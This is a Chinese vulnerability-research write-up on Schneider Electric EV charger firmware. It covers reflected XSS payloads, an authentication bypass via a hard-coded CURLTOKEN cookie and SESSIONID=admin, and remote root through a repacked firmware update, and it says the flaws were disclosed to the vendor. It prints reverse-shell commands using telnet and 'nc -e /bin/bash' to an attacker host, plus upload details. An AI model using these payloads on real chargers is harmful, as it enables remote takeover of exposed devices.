社区有奖征稿
· 基础稿费、额外激励、推荐作者、连载均有奖励,年度投稿top3还有神秘大奖!
· 将稿件提交至奇安信攻防社区(点击底部 阅读原文 ,加入社区)
大家好,我是BaCde,今天来说一说2020年底针对施耐德充电桩的漏洞挖掘过程。此次挖掘最终实现了通过远程无需用户交互场景下实现Root权限shell获取(一键远程Rootshell获取)。官方已经于今年7月份公布漏洞补丁以及相应的CVE编号。
0x01 为什么选择施耐德?
作为车联网安全研究来说,充电桩作为车联网必要组成部分,具备实际的研究价值与意义。而面临如此多的品牌,选择哪个目标作为研究对象是面临的第一个问题。为了能够更快的实现我选择了几个衡量指标,包括官方有响应中心、固件可下载、市面上可以买到、互联网上有暴露的目标。分别对应合法性、静态分析、动态测试、漏洞可产生实际的影响。
根据指标通过网络上去收集信息,最终将目标锁定在施耐德。同时,施耐德也在CVE官方的CNA列表中,报送的漏洞可以获得CVE编号。
0x02 目标设定
确定了要研究的对象,接下来就要确定一下我们要实现什么样的效果。这可以使得在分析过程中保持聚焦,不偏离方向。目标设定如下:
- 远程获取设备Root权限
- 无需登录,无需交互
根据上述设定最直接的方式就是寻找远程命令执行漏洞,即要RCE类型漏洞。
0x03 信息收集
一切准备就绪,开始我们的漏洞挖掘之旅。
首先,固件下载地址 https://www.se.com/ww/en/download/document/MFR4341700/ ,下载固件。
当时下载到最新的固件版本为3.3.0.12。固件文件名:MFR4341700.zip,包含升级包,相关说明文档。
解压缩zip包后,主要的升级包是一个后缀名为epk的文件。通过file命令检查,可知为tar压缩格式。
file r7_update_3.3.0.12_d4.epk
r7_update_3.3.0.12_d4.epk: POSIX tar archive (GNU)
输入tar xf r7_update_3.3.0.12_d4.epk
即可对其解压缩。得到如下列表文件:
total 58968
8 -rw-r--r--@ 1 aliceclaudia staff 68B 5 29 2020 CONTROL
16 -rwxr-xr-x@ 1 aliceclaudia staff 7.4K 5 29 2020 at91sam9g20ek-bootstrap-3.6.11-201612.bin
8 -rw-r--r--@ 1 aliceclaudia staff 2.0K 5 29 2020 bspv5_target_pre-update_s cript.sh
24 -rwxr-xr-x@ 1 aliceclaudia staff 9.3K 5 29 2020 bspv5_target_update_s cript.sh
8 -rwxr-xr-x@ 1 aliceclaudia staff 2.2K 5 29 2020 common_bspv4_target_shell_s cripts.sh
8 -rwxr-xr-x@ 1 aliceclaudia staff 2.4K 5 29 2020 common_bspv5_target_shell_s cripts.sh
24 -rwxr-xr-x@ 1 aliceclaudia staff 10K 5 29 2020 common_target_shell_s cripts.sh
16352 -rw-r--r--@ 1 aliceclaudia staff 8.0M 5 29 2020 evse_b ase_jffs2.img
29480 -rw-rw-r--@ 1 aliceclaudia staff 14M 6 19 10:16 r7_update_3.3.0.12_d4.epk
24 -rwxr-xr-x@ 1 aliceclaudia staff 11K 5 29 2020 redLight
8 -rwxr-xr-x@ 1 aliceclaudia staff 213B 5 29 2020 run.sh
1344 -rw-r--r--@ 1 aliceclaudia staff 672K 5 29 2020 ssh.tgz
8 -rw-r--r--@ 1 aliceclaudia staff 4.0K 5 29 2020 u-boot_env-bspv5p5.bin
8 -rw-r--r--@ 1 aliceclaudia staff 4.0K 5 29 2020 u-boot_env-bspv5p7.bin
11648 -rw-r--r--@ 1 aliceclaudia staff 5.7M 5 29 2020 uImage.parkingboard_v2_1
可以看到有一些shell脚本、bin文件、压缩包,img文件等。逐个查看,可以确定此次的主要目标在evse_b ase_jffs2.img
和uImage.parkingboard_v2_1
。使用binwalk对文件进行识别。可知uImage.parkingboard_v2_1
为 uImage文件,人口为0x20008000
,arm的cpu,内核版本为linux-4.4.14。
DECIMAL HEXADECIMAL DEs criptION
--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC: 0xDF6A9558, created: 2020-05-29 15:35:56, image size: 5962125 bytes, Data Address: 0x20008000, Entry Point: 0x20008000, data CRC: 0x5835552D, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "Linux-4.4.14"
64 0x40 Linux kernel ARM boot executable zImage (little-endian)
2368 0x940 device tree image (dtb)
15092 0x3AF4 device tree image (dtb)
20248 0x4F18 device tree image (dtb)
24496 0x5FB0 gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
5942168 0x5AAB98 device tree image (dtb)
其evse_b ase_jffs2.img
文件是JFFS2 filesystem, little endian。除此之外,也可以从其一是文件名中得知一些信息,如处理器为AT91SAM9G20
,这个处理器是基于ARM926EJ-S处理器,时钟频率为400MHz。可以确定其bootstrap文件,u-boot的环境信息。
另外,从解压缩出来的shell脚本中可以分析出大概的分区结构。
/dev/mtdblock1 ssh,备份文件等
/dev/mtdblock2 bootstrap
/dev/mtdblock4 uboot-env
/dev/mtdblock5 uImage
/dev/mtdblock6 evse_b ase
分别使用binwalk解uImage
文件和evse_b ase_jffs2.img
文件。可以得到系统文件,与结构,web目录、依赖库、辅助脚本等内容。查看/etc/shadow
文件,发现采用的是sha512的unix密码,尝试查询和破解,最终无果。
通过分析解压缩出来的文件,还可以确定主要的业务文件都在/mnt/下。
/mnt/datas/ 主要存放应用程序、lib文件、一些shell脚本等。
/mnt/flashfs 主要存放配置文件和数据库文件
/mnt/spare 主要存在的是日志文件
在web管理界面中,其中的report功能处,可以看到系统的磁盘信息、日志、网络监听端口、内部ip地址等信息。设备开放的端口默认有22、80、502、1500-1504。还可以看到该系统使用到的一些开源软件,如mini_httpd,libmodbus,sqlite等。
0x04 漏洞挖掘
登录入口测试
该系统需要登陆,默认的用户名和密码可以通过官方提供的说明文档进行登录。考虑到修改密码的情况,首先想到的是测试sql注入,很遗憾最终未发现SQL注入,仅发现了反射型xss漏洞。在不同的版本中,利用方式稍有不同。其漏洞远离在于/cgi-bin/cgiserver的worker参数不正确时,会显示错误页面,其页面会将错误的worker参数显示在页面中,并且没有过滤,从而导致存在xss漏洞。
3.3.0.12之前的的版本payload
http://target/cgi-bin/cgiServer?worker=”;p rompt(1);//
在最新的3.3.0.12版本中对其worker参数中的双引号进行了处理,导致无法闭合而无法利用。但是在登录时,对于一些lang参数没有进行过滤,导致存在xss。另外在登录后对其进行测试可以发现,xss的这个问题普遍存在。但由于是登录后,没有实际具体意义。
3.3.0.12版本及以前版本
http://target/cgi-bin/cgiServer?worker=Login&lang=%22;a lert(1);//
响应的内容如下:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>EVSE Web Interface</title>
<m eta http-equiv="Content-Type" content="text/html charset=utf-8" >
<m eta http-equiv="X-UA-Compatible" content="IE=EDGE; IE=10; IE=9; IE=8; IE=7;" />
</head><body><s cript type="text/j avas cript">var loc="/cgi-bin/cgiServer?worker=LoginForm";
loc+="&error=badid&lang=";a lert(1);//";
document.location.href=loc;
</s cript></body></html>
xss漏洞是无法满足设定的目标的,继续分析。
IDA静态分析
在分析过程中,由于IDA7.2不支持32位程序的伪代码生成功能。最终选择使用是IDA 7.0版本对其进行分析。
加载cgiserver
程序(文件路径位/mnt/datas/opt/www/cgi-bin/),默认选项即可,在start
函数,尝试F5显示伪代码,结果没成功。显示positive sp value has been found
,其主要原因在于栈sp不平衡。解决办法如下:
-
首先打开栈指针选项,在options————->General———————->Disassembly,选择
stack pointer
-
这个时候G键跳到出错的
1ADC
的地方,可以看到是个负值,指向它的上一行alt+k
,改为大于负值,在按F5快捷键即可。
接下来就可以进行愉快的分析了。另外,后续使用IDA7.5分析不存在上述问题。
硬编码的token
打开菜单view——->Open subviews——->strings。先大概看一下是否有一些关键的字符串。当然也可以使用strings命令来获取。
在字符串窗口中,使用搜索功能尝试搜索password,token,username等关键词。逐个查看来快速定位关键位置。
在搜索的时候,可以看到不少snprintf(&s, 0x32u, "%s called (", "instance");
形如这样的语法,可以猜测该功能是调试用的。很明显这里是显示调用函数的字符串。那么%s就是该函数的名字。
可批量搜索%s called (
,然后修改该函数的函数名。根据索索到的结果,可以逐个修改当前代码所在的函数名字。只需要在函数名字上按n即可进行修改。修改函数之后,将对后面的分析带来便利。
通过通读代码,了解程序的执行逻辑。然后对其单点进行分析,首先将注意力放在了处理session验证的代码块。其代码在treatRequestInternal
函数内,从名字可以看出是处理内部请求的。
可以看到该函数首先获取了用户请求中的cookie值,包括SESSIONID、SESSIONTOKEN、CURLTOKEN。在接着往下走,会发现一个判断分支,其中一个分支会判断cookie中的CURLTOKEN是否等于一个固定的字符串,成功会设置v153变量为1。
在继续向下读代码,另外一个分支则是从表单中获取login和password参数,然后使用TestPassword判断用户名和密码,成功后设置v153变量为1。而调试的信息也显示Loginok,即登录成功字样。说明这里判断登录与上述判断具有同样的效果。通过下文可知v153变量值为1是通过验证的标志。
由以上的分析,可以确定存在硬编码的token,我们在请求带上CURLTOKEN即可绕过验证。接下来到实际的web系统中测试,在cookie中带上CURLTOKN=b35fcdc1ea1***a0131c5a
,在未登录情况下尝试访问一些页面,发现会提示You are not connected with sufficient privilege worker :SelectTabsModel user :evse
的错误,那么这里就是判断了权限,也可以在上面代码可以看到跟evse相关的地方。上面可以看到v55变量,是获取cookie中的SESSIONID,这个也是我们可以构造的,构造SESSIONID=admin,即可绕过权限认证。实现无需密码进行web系统的管理。事情变得有趣了,这像是一个后门?在分析显示日志功能时,我明白了其原因。在打开report时,并不是由前端调用显示日志的页面,而是后端利用curl来获取的,所以叫CURLTOKEN。这就导致了这个漏洞的产生。
升级文件重打包导致的远程命令执行
有了上面的漏洞就可以进行许多管理员操作。这里可以优先寻找存在执行命令的位置,通过快捷键x来寻找调用execv,只有4处调用,3处主要都集中在Install的函数中。查看后发现,程序路径都是写死的,命令执行的路断了。但是在查看其上下文时,发现在执行命令前使用setenv
设置了环境变量。变量的名字时EPK_KEY。
下面执行/mnt/datas/opt/evse/epk-install.sh
文件。升级包的后缀是epk,函数名是Install。很明显升级固件就是这个地方了。如果我们可以构造自己的固件内容,上传恶意文件上去,那么就可以实现系统的控制了。
这里去读epk-install.sh
文件,来了解epk的处理方式,在evse_jffs2_b ase.img
的镜像中找到了这个文件。
通过阅读代码可以了解到其流程,获取传入的文件名,将环境变量中的EPK_KEY
赋值给private_key
,然后判断安装的文件是否存在,存在就解压缩文件到一个临时文件夹中,接下来将private_key
写入到这个临时文件夹中,文件名为private
。根据这个来计算出一个sha256sum的值写入到CONTROL2
文件中,比较CONTROL和CONTROL2的内容,,如果一致,执行run.sh
文件。在之前前会删除掉private
文件。
由于CONTROL文件在压缩包中,这个值可控并且计算方式也很简单,这里直接调用命令即可生成。调用的run.sh
文件也是在升级包中的,这里直接替换run.sh
文件的内容为我们自己的命令,这样就可以实现任意命令执行了。最后使用tar cf命令打包即可,更新固件即可触发。
按照分析的结果,写入反弹shell的命令到run.sh
文件中。打包上传更新固件。等待shell出现,但是很遗憾,失败了。这里可能存在几种情况:
- 升级过程中,设备没有网络;
- 反弹shell的命令失败。
对于第一种,先修改为curl的请求试试。结果成功执行。说明网络是通的。
网络没问题,问题就简单了。更换不同的反弹shell命令试试。换了几种方式失败后,最终通过telnet ip port1 | /bin/bash | telnet ip port2
成功反弹。真是激动人心的时刻。
这个反弹的原理就是监听两个端口,端口1的连接负责输入命令,端口2的连接接收输出。当然在后续的测试中,这个尽管可以成功,但是还有网络因素导致输出的端口连接失败的情况。但是这里影响不大,可以输入nc ip port3 -e /bin/bash
反弹回显端口。
一键root之漏洞脚本开发
通过以上两个漏洞,可以实现无需登录的远程命令执行。但是每次输入命令,都比较麻烦。还是写一个脚本来自动化利用。
脚本相对简单,linux系统,使用python的requests库可轻松实现。思路为,抓取固件更新的请求包,生成命令执行的epk文件,利用requests的post方法发送构造的请求。
流程如下图:
通过抓包确定,发送的url路径为/cgi-bin/cgiServer?worker=FileDispatcher&nextWorker=FirmwareUpgrade&finalWorker=FirmwareUpgrade&finalIp=内网ip地址&treatOnlyThisStation=yes&uploading=true&longProcessing=true
这里的内网ip地址,我首先使用127.0.0.1替换,但是,发现这样不行。再次抓包分析,这个ip地址可以通过访问/cgi-bin/cgiServer?worker=FirmwareUpgradeForm
来获得。使用正则表达式提取即可。
这个问题解决后,又出现了第二个问题,就是上传失败。没执行。继续抓包分析,通过对比burp抓的包和reqeusts发送的包进行对比,发现少了content-typ:application/octet-stream。通过设置请求头是无效的。这里要通过files = {'fichier': ('r7_update_3.3.0.12_d4.epk',open('r7_update_3.3.0.12_d4.epk', 'rb'),"application/octet-stream")}
来设置就可以了。
0x05 漏洞影响
漏洞影响
- 用于僵尸网络。
- 横向渗透企业内部网络、家庭网络。为了确认真实性,通过对其IP地址进行分析,可以发现一些确实有企业在使用该充电桩。
可能的利用方式
- 与汽车进行数据交互,尝试fuzzing可能对汽车造成影响?
- 控制电压,造成设备故障
0x06 漏洞处理
漏洞发现后,以第一时间通报给施耐德官方厂商。并得到其厂商回复与致谢。公告地址:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-06。
0x07 总结
在前期对其不了解以及缺乏相关知识的情况下,通过边研究边学习来挖掘漏洞。其中耗费了许多精力,也遇到了许多大大小小的问题,过程中有收获。对于充电桩还有很多可以去探索的,大家感兴趣的也都可以在合法情况下进行研究。
END
【版权说明】本作品著作权归BaCde所有,授权补天漏洞响应平台独家享有信息网络传播权,任何第三方未经授权,不得转载。
RapidDNS.io网站站长 & Bug Bounty Hunter
敲黑板!转发≠学会,课代表给你们划重点了
点击阅读原文,加入社区,获取更多技术干货!
原文始发于微信公众号(补天平台):施耐德充电桩漏洞挖掘之旅